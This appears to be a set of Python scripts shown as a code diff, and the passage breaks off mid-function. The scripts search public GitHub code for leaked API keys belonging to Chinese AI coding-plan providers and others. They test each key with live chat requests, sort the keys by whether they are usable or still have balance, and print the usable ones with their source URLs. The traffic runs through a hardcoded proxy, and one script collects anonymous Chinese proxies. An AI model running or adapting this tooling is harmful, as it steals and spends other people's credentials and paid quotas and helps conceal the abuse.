def make_cached_fetch(cc, fetcher=fetch_raw):
"""fetch_raw replacement served by ContentCache (immutable blob SHA)."""
def cached(url, timeout=20):
repo, sha, path = parse_raw_url(url)
if repo and sha and path:
txt = cc.get(repo, path, sha)
if txt is not None:
return txt
txt = fetcher(url, timeout=timeout)
if txt:
cc.put(repo, path, sha, txt)
return txt
return fetcher(url, timeout=timeout)
return cached
def run(kind, token, workers, max_files, do_verify, no_content_cache=False):
cfg = TOOLS[kind]
outdir = RESULTS / kind
outdir.mkdir(parents=True, exist_ok=True)
print(f"\n{'='*60}\n[{kind}] searching GitHub...\n{'='*60}", flush=True)
files = {}
for i, q in enumerate(cfg["queries"], 1):
print(f" ({i}/{len(cfg['queries'])}) {q}", flush=True)
cnt = 0
for it in gh_search(q, token):
u = it.get("html_url", "")
if u and u not in files:
files[u] = it.get("repository", {}).get("full_name", "?")
cnt += 1
if len(files) >= max_files:
break
if cnt:
print(f" +{cnt} (total {len(files)})", flush=True)
if len(files) >= max_files:
break
print(f" candidate files: {len(files)}", flush=True)
# fetch raw and extract
print(f"\n[{kind}] fetching raw + extracting...", flush=True)
creds = {} # cred(or json blob for aws) -> info
done = 0
with ContentCache(force=no_content_cache) as cc:
cfetch = make_cached_fetch(cc)
def _job(u):
return u, cfetch(to_raw(u))
with ThreadPoolExecutor(max_workers=20) as pool:
futs = {pool.submit(_job, u): (u, repo) for u, repo in files.items()}
for f in as_completed(futs):
u, repo = futs[f]
done += 1
try:
_, text = f.result()
except Exception:
text = ""
if not text:
continue
try:
extracted = list(cfg["extract"](text))
except Exception as e:
extracted = []
for item in extracted:
cred, info = item
if isinstance(cred, dict):
key = cred.get("refreshToken", "") + "|" + info.get("clientId", "")
else:
key = cred
if key not in creds:
creds[key] = {"cred": cred, "info": info, "src": u, "repo": repo}
if done % 100 == 0:
print(f" {done}/{len(files)} creds={len(creds)} "
f"cache={cc.hits}hit/{cc.misses}fetch", flush=True)
st = cc.stats()
print(f" content cache: {st['hits']} hits, {st['misses']} fetched "
f"({st['bytes_served']} bytes from cache)", flush=True)
print(f" extracted {len(creds)} unique credentials", flush=True)
# save raw extraction
with open(outdir / "all.txt", "w") as f:
for key, rec in sorted(creds.items()):
info = rec["info"]
if isinstance(rec["cred"], dict):
f.write(f"BLOB|{rec['src']}|{json.dumps(info)}\n")
else:
f.write(f"{rec['cred']}|{rec['src']}|{json.dumps(info)}\n")
if not do_verify or not creds:
return
# verify
print(f"\n[{kind}] verifying {len(creds)} credentials (workers={workers})...", flush=True)
buckets = {"USABLE": [], "DEAD": [], "NO_ACCESS": [], "NO_BALANCE": [], "UNKNOWN": []}
start = time.time()
done = 0
def _verify(rec):
cred = rec["cred"]
if isinstance(cred, dict):
return cfg["verify"](cred, rec["info"])
return cfg["verify"](cred)
def _cred_key(rec):
c = rec["cred"]
return json.dumps(c, sort_keys=True) if isinstance(c, dict) else c
key_to_rec = {_cred_key(rec): rec for rec in creds.values()}
with CachedVerifier(f"aitools_{kind.lower()}",
lambda k: _verify(key_to_rec[k]),
force=os.environ.get("NO_CACHE") == "1") as ver:
with ThreadPoolExecutor(max_workers=workers) as pool:
futs = {pool.submit(ver, ck): rec for ck, rec in key_to_rec.items()}
for f in as_completed(futs):
rec = futs[f]
done += 1
try:
verdict, detail = f.result()
except Exception as e:
verdict, detail = "UNKNOWN", f"exc:{e}"
buckets.setdefault(verdict, []).append((rec, detail))
if done % 25 == 0:
el = time.time() - start
rate = done / el if el else 0
counts = " ".join(f"{k.lower()}={len(v)}" for k, v in buckets.items())
print(f" [{done:4d}/{len(creds)}] {counts} hit={ver.hits} live={ver.live} ({rate:.1f}/s)", flush=True)
print(f" cache: {ver.hits} hits, {ver.live} live, {len(ver._cache)} cached", flush=True)
for name, items in buckets.items():
with open(outdir / f"{name.lower()}.txt", "w") as f:
for rec, detail in items:
if isinstance(rec["cred"], dict):
f.write(f"BLOB|{rec['src']}|{json.dumps(rec['info'])}|{detail}\n")
else:
f.write(f"{rec['cred']}|{rec['src']}|{json.dumps(rec['info'])}|{detail}\n")
print(f" {name:11s}: {len(items):4d}", flush=True)
if buckets["USABLE"]:
print(f"\n === USABLE {kind} ===", flush=True)
for rec, detail in buckets["USABLE"]:
c = rec["cred"]
shown = json.dumps(rec["info"]) if isinstance(c, dict) else c[:60]
print(f" {shown} <- {rec['src']}\n {detail}", flush=True)
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--tools", default="all",
help="Comma list, or 'all': " + ",".join(TOOLS.keys()))
ap.add_argument("--workers", type=int, default=8)
ap.add_argument("--max-files", type=int, default=1000)
ap.add_argument("--no-verify", action="store_true")
ap.add_argument("--no-content-cache", action="store_true",
help="ignore raw file content cache (always re-crawl)")
args = ap.parse_args()
token = github_token()
print(f"proxy={GH_PROXY} token={'yes' if token else 'NO (will rate-limit fast)'}", flush=True)
kinds = list(TOOLS.keys()) if args.tools == "all" else [
t.strip() for t in args.tools.split(",") if t.strip() in TOOLS]
print(f"tools: {kinds}", flush=True)
summary = {}
for kind in kinds:
run(kind, token, args.workers, args.max_files, not args.no_verify,
no_content_cache=args.no_content_cache)
outdir = RESULTS / kind
counts = {}
for b in ("usable", "dead", "no_access", "no_balance", "unknown"):
p = outdir / f"{b}.txt"
counts[b] = sum(1 for _ in open(p)) if p.exists() else 0
summary[kind] = counts
print("\n" + "=" * 60)
print("SUMMARY")
print("=" * 60)
for kind, c in summary.items():
print(f" {kind:14s}: " + " ".join(f"{k}={v}" for k, v in c.items()))
if __name__ == "__main__":
main()
@@ -0,0 +1,299 @@
#!/usr/bin/env python3
"""Hunt & verify the remaining Chinese coding-plan / token-plan providers.
Providers covered (all OpenAI-compatible unless noted):
- SCNet (超算互联网) sk-sp- / sk-tp- api.scnet.cn
- Zyloo sk-zy- api.zyloo.io
- LongCat (美团龙猫) ak_ (29 chars) api.longcat.chat
- OllamaCloud <32hex>.<24alnum> api.ollama.com (native /api/chat)
- iFlytek Astron (讯飞星辰) 32-hex maas-coding-api.xf-yun.com
iFlytek Astron keys in the pool are EXTREMELY noisy (the bare 32-hex pattern
matches Azure/AWS keys, test vectors, etc.). We only test a 32-hex value when
its source file / description references an xf-yun / astron / maas endpoint,
and even then we filter out low-entropy placeholders.
Only HTTP 401 => DEAD. Real chat completion 200 with choices => USABLE.
Uses verify_cache so already-tested keys are not re-queried.
"""
import argparse, json, os, re, sys, time
import urllib.request, urllib.error
from concurrent.futures import ThreadPoolExecutor, as_completed
from pathlib import Path
sys.path.insert(0, str(Path(__file__).resolve().parent))
from verify_cache import CachedVerifier
OUT = Path("results/cn_coding"); OUT.mkdir(parents=True, exist_ok=True)
POOL = Path("results/extracted_keys.txt")
UA = "curl/8.5.0"
# ── provider config ────────────────────────────────────────────
# model is the cheapest chat model for the auth/balance probe.
PROVIDERS = {
"SCNet": {
"chat": "https://api.scnet.cn/api/llm/v1/chat/completions",
"models": "https://api.scnet.cn/api/llm/v1/models",
"model": "deepseek-v3",
"auth": "Bearer",
},
"Zyloo": {
"chat": "https://api.zyloo.io/v1/chat/completions",
"models": "https://api.zyloo.io/v1/models",
"model": "zyloo/claude-opus-4-7",
"auth": "Bearer",
},
"LongCat": {
"chat": "https://api.longcat.chat/openai/chat/completions",
"models": "https://api.longcat.chat/openai/models",
"model": "LongCat-2.0",
"auth": "Bearer",
},
"OllamaCloud": {
# native ollama api; model probed at runtime
"chat": "https://api.ollama.com/api/chat",
"models": "https://api.ollama.com/api/tags",
"model": None,
"auth": "Bearer",
"native": True,
},
"iFlytekAstron": {
"chat": "https://maas-coding-api.cn-huabei-1.xf-yun.com/v2/chat/completions",
"models": "https://maas-coding-api.cn-huabei-1.xf-yun.com/v2/models",
"model": "astron-code-latest",
"auth": "Bearer",
# try several documented models
"alt_models": ["xopkimik26", "xopglm5", "xsparkx2flash"],
},
}
FAKES = ("xxxx", "your-", "example", "placeholder", "changeme",
"sk-sp-123", "sk-tp-btf", "super-secret", "shared-test",
"00000000000000000000000000000000000000")
IFLYTEK_CTX = re.compile(r'xf-?yun|astron|maas-coding|maas-token|iflytek|spark-api', re.I)
def http(method, url, key, auth="Bearer", body=None, timeout=20):
headers = {"User-Agent": UA, "Accept": "*/*"}
if auth == "Bearer":
headers["Authorization"] = f"Bearer {key}"
elif auth == "x-api-key":
headers["x-api-key"] = key
data = None
if body is not None:
data = json.dumps(body).encode()
headers["Content-Type"] = "application/json"
req = urllib.request.Request(url, data=data, headers=headers, method=method)
try:
with urllib.request.urlopen(req, timeout=timeout) as r:
return r.getcode(), r.read().decode("utf-8", "replace")
except urllib.error.HTTPError as e:
try: return e.code, e.read().decode("utf-8", "replace")
except Exception: return e.code, ""
except Exception as e:
return 0, f"network: {type(e).__name__}: {e}"
def classify_chat(code, body):
bl = (body or "").lower()
if code == 200 and ('"choices"' in bl or '"message"' in bl):
return "USABLE", f"chat 200 {body[:100]}"
if code == 401:
return "DEAD", f"401: {body[:140]}"
if code in (402, 429):
return "NO_BALANCE", f"chat={code}: {body[:140]}"
if code == 403:
return "NO_ACCESS", f"403: {body[:140]}"
if code == 400:
if any(w in bl for w in ("balance", "quota", "insufficient", "arrear", "suspend")):
return "NO_BALANCE", f"400: {body[:140]}"
# 400 with "model" error often means key works but model not granted
if "model" in bl:
return "NO_ACCESS", f"400 model: {body[:140]}"
return "NO_ACCESS", f"400: {body[:140]}"
if code == 404:
return "NO_ACCESS", f"404: {body[:120]}"
if code == 0:
return "UNKNOWN", body[:160]
if 500 <= code < 600:
return "NO_ACCESS", f"5xx {code}: {body[:120]}"
return "NO_ACCESS", f"HTTP {code}: {body[:140]}"
def verify_openai(prov, key):
cfg = PROVIDERS[prov]
models = [cfg["model"]] + list(cfg.get("alt_models", []))
last = ("UNKNOWN", "no attempt")
for model in models:
if not model:
continue
code, body = http("POST", cfg["chat"], key, cfg["auth"], {
"model": model,
"messages": [{"role": "user", "content": "hi"}],
"max_tokens": 5, "temperature": 0,
})
v, d = classify_chat(code, body)
if v == "USABLE":
return "USABLE", f"[{model}] {d}"
# 401 / 422 model-not-exist: try next model; 422 with model means model
# name wrong but key may be fine — try alternates.
if code == 401:
return "DEAD", d
last = (v, f"[{model}] {d}")
if code == 422 and "model" in body.lower():
continue
if v in ("NO_BALANCE", "NO_ACCESS"):
# already a meaningful verdict, but try an alternate cheap model once
continue
return last
def verify_ollama(key):
# native ollama /api/chat
code, body = http("POST", "https://api.ollama.com/api/chat", key, "Bearer", {
"model": "llama3.2", "messages": [{"role": "user", "content": "hi"}],
"stream": False,
}, timeout=25)
if code == 404:
# try /api/generate
code, body = http("POST", "https://api.ollama.com/api/generate", key, "Bearer", {
"model": "llama3.2", "prompt": "hi", "stream": False,
}, timeout=25)
if code == 200:
return "USABLE", f"ollama 200 {body[:100]}"
if code == 401:
return "DEAD", f"401: {body[:140]}"
if code in (402, 429):
return "NO_BALANCE", f"{code}: {body[:140]}"
if code == 0:
return "UNKNOWN", body[:160]
return "NO_ACCESS", f"HTTP {code}: {body[:140]}"
def verify(prov_key):
prov, key = prov_key
if prov == "OllamaCloud":
return verify_ollama(key)
return verify_openai(prov, key)
def verify_cache_key(ck):
"""CachedVerifier needs a string key; wrap verify() to accept 'prov|key'."""
prov, key = ck.split("|", 1)
return verify((prov, key))
# ── candidate loading ─────────────────────────────────────────
def entropy_ok_hex(k):
"""Reject obvious placeholder 32/64-hex: all-same, sequential, mostly zeros."""
if len(k) not in (32, 40, 64):
return False
if len(set(k)) <= 4:
return False
if k.count("0") > len(k) * 0.7:
return False
if re.match(r'^0123456789abcdef+$', k):
return False
# ascending/descending runs
if re.search(r'0123456789|9876543210|abcdef|fedcba', k):
return False
return True
def load_candidates(providers):
cands = {p: {} for p in providers}
with open(POOL, errors="replace") as f:
for ln in f:
p = ln.rstrip("\n").split("|", 3)
if len(p) < 3:
continue
tag, key, src = p[0], p[1], p[2]
desc = p[3] if len(p) > 3 else ""
if tag not in cands:
continue
if any(b in key.lower() for b in FAKES):
continue
if tag == "iFlytekCodingPlan":
# only test hex in genuine xf-yun context
if not (IFLYTEK_CTX.search(src) or IFLYTEK_CTX.search(desc)):
continue
if not re.fullmatch(r'[0-9a-f]{32}', key):
continue
if not entropy_ok_hex(key):
continue
if tag == "OllamaCloud":
if not re.fullmatch(r'[0-9a-f]{32}\.[A-Za-z0-9]{20,30}', key):
continue
if tag == "SCNet":
# sk-sp- keys in pool are actually Alibaba; only sk-tp- and plain
if not (key.startswith("sk-tp-") or
(key.startswith("sk-") and not key.startswith("sk-sp-"))):
continue
if key not in cands[tag]:
cands[tag][key] = src
return cands
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--providers", default="all",
help="comma list or all: " + ",".join(PROVIDERS))
ap.add_argument("--workers", type=int, default=12)
ap.add_argument("--limit", type=int, default=0)
ap.add_argument("--no-cache", action="store_true")
args = ap.parse_args()
provs = list(PROVIDERS) if args.providers == "all" else [
p.strip() for p in args.providers.split(",") if p.strip() in PROVIDERS]
cands = load_candidates(provs)
grand = {}
for p in provs:
items = list(cands[p].items())
if args.limit:
items = items[:args.limit]
for k, s in items:
grand[(p, k)] = s
print(f"{p:16s}: {len(items)} candidates")
print(f"\nverifying {len(grand)} keys across {len(provs)} providers...\n")
buckets = {"USABLE": [], "NO_BALANCE": [], "NO_ACCESS": [],
"UNKNOWN": [], "DEAD": []}
with CachedVerifier("cn_coding", verify_cache_key, force=args.no_cache) as ver:
with ThreadPoolExecutor(max_workers=args.workers) as pool:
futs = {pool.submit(ver, f"{pk[0]}|{pk[1]}"): (pk, s) for pk, s in grand.items()}
done = 0
for fut in as_completed(futs):
(prov, key), src = futs[fut]
done += 1
try:
v, d = fut.result()
except Exception as e:
v, d = "UNKNOWN", f"exc:{e}"
buckets[v].append((prov, key, src, d))
if done % 25 == 0:
print(f" {done}/{len(grand)} usable={len(buckets['USABLE'])} "
f"nobal={len(buckets['NO_BALANCE'])} "
f"noacc={len(buckets['NO_ACCESS'])} dead={len(buckets['DEAD'])} "
f"hit={ver.hits} live={ver.live}", flush=True)
print(f"cache: {ver.hits} hits / {ver.live} live\n")
name_map = {"USABLE": "usable", "NO_BALANCE": "no_balance",
"NO_ACCESS": "no_access", "UNKNOWN": "unknown", "DEAD": "dead"}
for label, fn in name_map.items():
with (OUT / f"{fn}.txt").open("w") as f:
for prov, key, src, d in buckets[label]:
f.write(f"{prov}|{key}|{src}|{d}\n")
for label in ("USABLE", "NO_BALANCE", "NO_ACCESS", "UNKNOWN", "DEAD"):
print(f" {label:11s}: {len(buckets[label])}")
if buckets["USABLE"]:
print("\n=== USABLE ===")
for prov, key, src, d in buckets["USABLE"]:
print(f" [{prov}] {key}\n {src}\n {d[:120]}")
if __name__ == "__main__":
main()
@@ -0,0 +1,240 @@
#!/usr/bin/env python3
"""Fresh GitHub hunt for Chinese coding-plan providers with no keys in pool.
These platforms have undocumented/UI-created key formats, so instead of
matching a prefix we search for their endpoint hostnames + env var names and
pull whatever credential-like strings sit nearby, then verify against the
provider's OpenAI-compatible endpoint.
Targets + endpoints (from patterns.conf / mcppla.net):
CSDN StarMap ai.csdn.net/api/model/v1
Huawei CodeArts (unknown endpoint; try codearts)
Xiaomi MiMo api.xiaomimimo.com/v1
Infini-AI cloud.infini-ai.com
JD Cloud api.jdcloud-ai.com / coding
MooreThreads code.mthreads.com
Kuaishou KwaiKAT streamlake
UCloud/Compshare compshare.cn
Anomaly/OpenCode opencode.ai
"""
import json, os, re, sys, time, subprocess, urllib.request, urllib.error, urllib.parse
from concurrent.futures import ThreadPoolExecutor, as_completed
from pathlib import Path
sys.path.insert(0, str(Path(__file__).resolve().parent))
from content_cache import ContentCache, parse_raw_url
OUT = Path("results/cn_extra"); OUT.mkdir(parents=True, exist_ok=True)
def github_token():
t = os.environ.get("GITHUB_TOKEN") or os.environ.get("GH_TOKEN")
if t: return t
try:
o = subprocess.run(["gh","auth","token"],capture_output=True,text=True,timeout=10)
if o.returncode == 0: return o.stdout.strip()
except FileNotFoundError:
pass
h = Path.home()/".config"/"gh"/"hosts.yml"
if h.exists():
for ln in h.read_text().splitlines():
ln = ln.strip()
if ln.startswith("oauth_token:"): return ln.split(":",1)[1].strip()
return None
GH = github_token() or ""
GH_PROXY = os.environ.get("GH_PROXY", "http://114.111.19.228:3389")
OPENER = None
def gh_opener():
global OPENER
if OPENER is None:
proxy = urllib.request.ProxyHandler({"http": GH_PROXY, "https": GH_PROXY})
OPENER = urllib.request.build_opener(proxy)
return OPENER
def gh_api(url):
req = urllib.request.Request(url, headers={
"Authorization": f"token {GH}", "Accept": "application/vnd.github+json",
"User-Agent": "llm-key-hunter"})
try:
with gh_opener().open(req, timeout=25) as r:
return json.loads(r.read())
except urllib.error.HTTPError as e:
if e.code in (403, 429):
reset = e.headers.get("X-RateLimit-Reset")
if reset:
w = max(int(reset)-int(time.time())+2, 2)
if w < 120: time.sleep(w); return gh_api(url)
return None
return None
except Exception:
return None
def gh_search(q, pp=100, pages=5):
for page in range(1, pages+1):
d = gh_api(f"https://api.github.com/search/code?q={urllib.parse.quote(q)}&per_page={pp}&page={page}")
if not d: return
items = d.get("items", [])
if not items: return
for it in items: yield it
if len(items) < pp: return
time.sleep(2.5)
def to_raw(u): return u.replace("github.com","raw.githubusercontent.com").replace("/blob/","/")
def fetch_raw(url):
req=urllib.request.Request(url,headers={"User-Agent":"Mozilla/5.0"})
try:
with gh_opener().open(req,timeout=20) as r: return r.read().decode("utf-8","replace")
except Exception: return ""
# Targets: (name, [search queries], verify endpoint, model guesses)
TARGETS = {
"CSDN": {
"queries": ['"ai.csdn.net"', '"csdn" "glm_for_coding"', '"CSDN_API_KEY"',
'"STARMAP_API_KEY"', '"coding.dashes.com" csdn'],
"chat": "https://ai.csdn.net/api/model/v1/chat/completions",
"models": ["glm_for_coding", "glm-4.7", "deepseek-v3"],
# keys near these configs: pull Bearer tokens / sk- values
},
"MiMo": {
"queries": ['"api.xiaomimimo.com"', '"MIMO_API_KEY"', '"MiMo-V2.5" api_key',
'"xiaomimimo" sk-'],
"chat": "https://api.xiaomimimo.com/v1/chat/completions",
"models": ["MiMo-V2.5-Pro", "MiMo-V2.5", "mimo-v2.5"],
},
"InfiniAI": {
"queries": ['"cloud.infini-ai.com"', '"INFINI_API_KEY"', '"INFINIAI_API_KEY"',
'"infini-ai.com" sk-'],
"chat": "https://cloud.infini-ai.com/maas/v1/chat/completions",
"models": ["deepseek-v3.2", "deepseek-v3", "qwen3", "glm-4.7"],
},
"JDCloud": {
"queries": ['"JD_API_KEY"', '"JDCLOUD_API_KEY"', '"jdcloud" "codingplan"',
'"coding.jdcloud"'],
"chat": "https://api.jdcloud-ai.com/v1/chat/completions",
"models": ["deepseek-v3", "glm-4.7"],
},
"MThreads": {
"queries": ['"code.mthreads.com"', '"MTHREADS_API_KEY"', '"mthreads" api_key'],
"chat": "https://code.mthreads.com/api/v1/chat/completions",
"models": ["glm-4.7", "deepseek-v3"],
},
"Kuaishou": {
"queries": ['"KWAIKAT_API_KEY"', '"STREAMLAKE_API_KEY"', '"streamlake" coding',
'"KAT-Coder" api_key'],
"chat": "https://api.streamlake.com/v1/chat/completions",
"models": ["KAT-Coder-Pro-V1", "deepseek-v3"],
},
"UCloud": {
"queries": ['"COMPSHARE_API_KEY"', '"UCLOUD_API_KEY"', '"compshare.cn"',
'"cucloud" coding plan'],
"chat": "https://api.compshare.cn/v1/chat/completions",
"models": ["glm-5.2", "kimi-k2.6", "deepseek-v3"],
},
"Anomaly": {
"queries": ['"ANOMALY_API_KEY"', '"OPENCODE_GO_KEY"', '"opencode.ai/go"',
'"anomaly" api_key sk-'],
"chat": "https://api.opencode.ai/v1/chat/completions",
"models": ["grok-4.5", "glm-5.2"],
},
}
# credential extraction: env var assignments + Bearer tokens + sk- values
CRED_RE = re.compile(
r'(?:sk-[A-Za-z0-9_\-]{24,}' # sk- style
r'|[A-Z][A-Z0-9_]{6,}["\']?\s*[:=]\s*["\']?[A-Za-z0-9_\-]{24,}' # KEY="value"
r'|Bearer\s+([A-Za-z0-9_\-\.]{24,}))')
SK_RE = re.compile(r'sk-[A-Za-z0-9_\-]{24,}')
FAKES = ("xxxx","your-","example","placeholder","changeme","1234567890","abcdef")
def extract_creds(text):
creds = set()
for m in SK_RE.findall(text or ""):
if not any(f in m.lower() for f in FAKES):
creds.add(m)
return creds
def verify(name, endpoint, models, key):
for model in models:
body = json.dumps({"model":model,"messages":[{"role":"user","content":"hi"}],
"max_tokens":5}).encode()
req = urllib.request.Request(endpoint, data=body, headers={
"Authorization":f"Bearer {key}","Content-Type":"application/json"}, method="POST")
try:
with urllib.request.urlopen(req,timeout=15) as r:
b=r.read().decode("utf-8","replace")
if r.getcode()==200 and ('"choices"' in b or '"message"' in b):
return "USABLE", f"[{model}] 200 {b[:100]}"
except urllib.error.HTTPError as e:
b=""
try: b=e.read().decode("utf-8","replace")[:160]
except: pass
if e.code==401: return "DEAD", f"401: {b}"
if e.code in (402,429): return "NO_BALANCE", f"{e.code}: {b}"
# 404 endpoint wrong / 400 model wrong -> try next
continue
except Exception as e:
return "UNKNOWN", f"net {type(e).__name__}: {e}"
return "NO_ACCESS", "all models failed/404"
def main():
if not GH:
print("need GH_TOKEN"); sys.exit(1)
all_usable=[]
for name,cfg in TARGETS.items():
print(f"\n{'='*60}\n[{name}] searching GitHub...",flush=True)
files={}
for q in cfg["queries"]:
print(f" query: {q}",flush=True)
try:
for it in gh_search(q):
u=it.get("html_url","")
if u and u not in files:
files[u]=it.get("repository",{}).get("full_name","?")
except Exception as e:
print(" err",e)
print(f" candidate files: {len(files)}",flush=True)
creds={}
with ContentCache() as cc:
def cfetch(url):
repo,sha,path=parse_raw_url(url)
if repo and sha and path:
t=cc.get(repo,path,sha)
if t is not None: return t
t=fetch_raw(url)
if t: cc.put(repo,path,sha,t)
return t
return fetch_raw(url)
with ThreadPoolExecutor(max_workers=16) as pool:
futs={pool.submit(cfetch,to_raw(u)):(u,r) for u,r in files.items()}
for fut in as_completed(futs):
u,r=futs[fut]
try: txt=fut.result()
except: txt=""
for c in extract_creds(txt):
if c not in creds: creds[c]=u
print(f" extracted {len(creds)} unique sk- creds",flush=True)
if not creds: continue
# verify
buckets={"USABLE":[],"DEAD":[],"NO_BALANCE":[],"NO_ACCESS":[],"UNKNOWN":[]}
with ThreadPoolExecutor(max_workers=12) as pool:
futs={pool.submit(verify,name,cfg["chat"],cfg["models"],k):(k,s)
for k,s in creds.items()}
for fut in as_completed(futs):
k,s=futs[fut]
try: v,d=fut.result()
except Exception as e: v,d="UNKNOWN",str(e)
buckets[v].append((k,s,d))
for v in buckets:
with (OUT/f"{name}_{v.lower()}.txt").open("w") as f:
for k,s,d in buckets[v]: f.write(f"{k}|{s}|{d}\n")
print(f" usable={len(buckets['USABLE'])} dead={len(buckets['DEAD'])} "
f"nobal={len(buckets['NO_BALANCE'])} noacc={len(buckets['NO_ACCESS'])}",flush=True)
for k,s,d in buckets["USABLE"]:
print(f" USABLE {k[:40]} <- {s}\n {d[:120]}")
all_usable.append((name,k,s,d))
print(f"\n\n=== ALL USABLE: {len(all_usable)} ===")
with (OUT/"all_usable.txt").open("w") as f:
for name,k,s,d in all_usable: f.write(f"{name}|{k}|{s}|{d}\n")
if __name__=="__main__":
main()
@@ -0,0 +1,288 @@
#!/usr/bin/env python3
"""Chinese (mainland) HTTP/HTTPS proxy hunter.
Pulls free proxy lists from GitHub, filters to China-IP ranges
(APNIC delegation data), then validates each candidate by proxying
a request to a domestic target. Classifies anonymity:
elite - no Via/X-Forwarded-For leaked
anonymous - real IP hidden but proxy headers present
transparent - real IP forwarded
Outputs in results/proxies/.
"""
import bisect
import ipaddress
import json
import re
import socket
import sys
import time
import urllib.request
import urllib.error
from concurrent.futures import ThreadPoolExecutor, as_completed
from pathlib import Path
HERE = Path(__file__).parent
OUT = HERE / "results" / "proxies"
OUT.mkdir(parents=True, exist_ok=True)
UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
PROXY_SOURCES = [
"https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/http.txt",
"https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/socks5.txt",
"https://raw.githubusercontent.com/monosans/proxy-list/main/proxies/http.txt",
"https://raw.githubusercontent.com/monosans/proxy-list/main/proxies_anonymous/http.txt",
"https://raw.githubusercontent.com/hookzof/socks5_list/master/proxy.txt",
"https://raw.githubusercontent.com/clarketm/proxy-list/master/proxy-list-raw.txt",
"https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/http.txt",
"https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/https.txt",
"https://raw.githubusercontent.com/roosterkid/openproxylist/main/HTTPS_RAW.txt",
"https://raw.githubusercontent.com/mmpx12/proxy-list/master/http.txt",
"https://raw.githubusercontent.com/mmpx12/proxy-list/master/https.txt",
"https://raw.githubusercontent.com/proxifly/free-proxy-list/main/proxies/protocols/http/data.txt",
"https://raw.githubusercontent.com/proxifly/free-proxy-list/main/proxies/countries/CN/data.txt",
"https://raw.githubusercontent.com/zloi-user/hideip.me/main/http.txt",
"https://raw.githubusercontent.com/zloi-user/hideip.me/main/https.txt",
"https://raw.githubusercontent.com/ErcinDedeoglu/proxies/main/proxies/http.txt",
"https://raw.githubusercontent.com/ErcinDedeoglu/proxies/main/proxies/https.txt",
"https://raw.githubusercontent.com/MuRongPIG/Proxy-Master/main/http.txt",
"https://raw.githubusercontent.com/Zaeem20/FREE_PROXIES_LIST/master/http.txt",
"https://raw.githubusercontent.com/Zaeem20/FREE_PROXIES_LIST/master/https.txt",
"https://raw.githubusercontent.com/sunny9577/proxy-scraper/master/generated/http_proxies.txt",
"https://raw.githubusercontent.com/officialputuid/KangProxy/KangProxy/http/http.txt",
"https://raw.githubusercontent.com/officialputuid/KangProxy/KangProxy/https/https.txt",
"https://raw.githubusercontent.com/yemixzy/proxy-list/main/proxies/http.txt",
"https://raw.githubusercontent.com/vakhov/fresh-proxy-list/master/http.txt",
"https://raw.githubusercontent.com/vakhov/fresh-proxy-list/master/https.txt",
"https://raw.githubusercontent.com/proxy4parsing/proxy-list/main/http.txt",
"https://raw.githubusercontent.com/Anonym0usWork1221/Free-Proxies/main/proxy_files/http_proxies.txt",
]
# Validation targets — domestic Chinese endpoints (to confirm CN egress)
TEST_TARGETS = [
"http://www.baidu.com/",
"http://www.qq.com/",
"http://httpbin.org/ip", # for anonymity header check (not CN, but reveals headers)
]
IPPORT_RE = re.compile(rb"\b(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}):(\d{2,5})\b")
def fetch(url, timeout=20):
req = urllib.request.Request(url, headers={"User-Agent": UA})
try:
with urllib.request.urlopen(req, timeout=timeout) as resp:
return resp.read()
except Exception as e:
return b""
def load_china_cidrs():
"""Return list of ipaddress networks for mainland China."""
cache = OUT / "cn_cidrs.json"
if cache.exists() and (time.time() - cache.stat().st_mtime) < 86400:
nets = []
for cidr in json.loads(cache.read_text()):
try: nets.append(ipaddress.ip_network(cidr))
except ValueError: pass
return nets
nets = []
# APNIC delegated stats
data = fetch("https://ftp.apnic.net/apnic/stats/apnic/delegated-apnic-latest")
if not data:
# GitHub mirror fallback
data = fetch("https://raw.githubusercontent.com/itgoyo/China-IP-list/refs/heads/master/cn.txt")
for line in data.decode(errors="replace").splitlines():
if not line.startswith("apnic|CN|ipv4|"):
continue
parts = line.split("|")
if len(parts) >= 5:
start, count = parts[3], int(parts[4])
try:
net = ipaddress.ip_network((start, 32 - (count - 1).bit_length() + 1), strict=False)
nets.append(net)
except ValueError:
pass
# Also merge GitHub cn_ip lists
extra_urls = [
"https://raw.githubusercontent.com/17mon/china_ip_list/master/china_ip_list.txt",
"https://raw.githubusercontent.com/gaoyifan/china-operator-ip/ip-lists/china.txt",
]
for u in extra_urls:
d = fetch(u)
for line in d.decode(errors="replace").splitlines():
line = line.strip()
if "/" in line:
try: nets.append(ipaddress.ip_network(line))
except ValueError: pass
# dedup + merge
collapsed = list(ipaddress.collapse_addresses(nets))
cache.write_text(json.dumps([str(n) for n in collapsed]))
print(f"Loaded {len(collapsed)} China CIDRs (cached 24h)")
return collapsed
def is_china_ip(ip, boundaries):
"""Check membership using prebuilt (start_int, end_int) sorted boundaries."""
try:
addr = int(ipaddress.ip_address(ip))
except ValueError:
return False
starts = boundaries[0]
idx = bisect.bisect_right(starts, addr) - 1
if idx < 0:
return False
return addr <= boundaries[1][idx]
def build_boundaries(cidrs):
collapsed = sorted(ipaddress.collapse_addresses(cidrs))
starts = [int(n.network_address) for n in collapsed]
ends = [int(n.broadcast_address) for n in collapsed]
return (starts, ends)
def scrape_proxies():
"""Return set of ip:port candidates from all sources."""
all_proxies = set()
for url in PROXY_SOURCES:
data = fetch(url)
if not data:
continue
for m in IPPORT_RE.finditer(data):
ip, port = m.group(1).decode(), int(m.group(2))
if 1 <= port <= 65535:
all_proxies.add(f"{ip}:{port}")
print(f" {url.split('/')[-1]:30s} -> total {len(all_proxies)}")
return all_proxies
def test_proxy(proxy, timeout=8):
"""Try proxy against baidu. Returns (status, latency_ms, anon_level, detail)."""
proxy_url = f"http://{proxy}"
handler = urllib.request.ProxyHandler({"http": proxy_url, "https": proxy_url})
opener = urllib.request.build_opener(handler)
# 1) reachability via baidu
t0 = time.time()
try:
req = urllib.request.Request("http://www.baidu.com/", headers={"User-Agent": UA})
with opener.open(req, timeout=timeout) as resp:
body = resp.read(2048)
latency = int((time.time() - t0) * 1000)
if resp.getcode() != 200 or b"baidu" not in body.lower():
return "fail", 0, "", f"baidu HTTP {resp.getcode()}"
except urllib.error.HTTPError as e:
return "fail", 0, "", f"HTTP {e.code}"
except Exception as e:
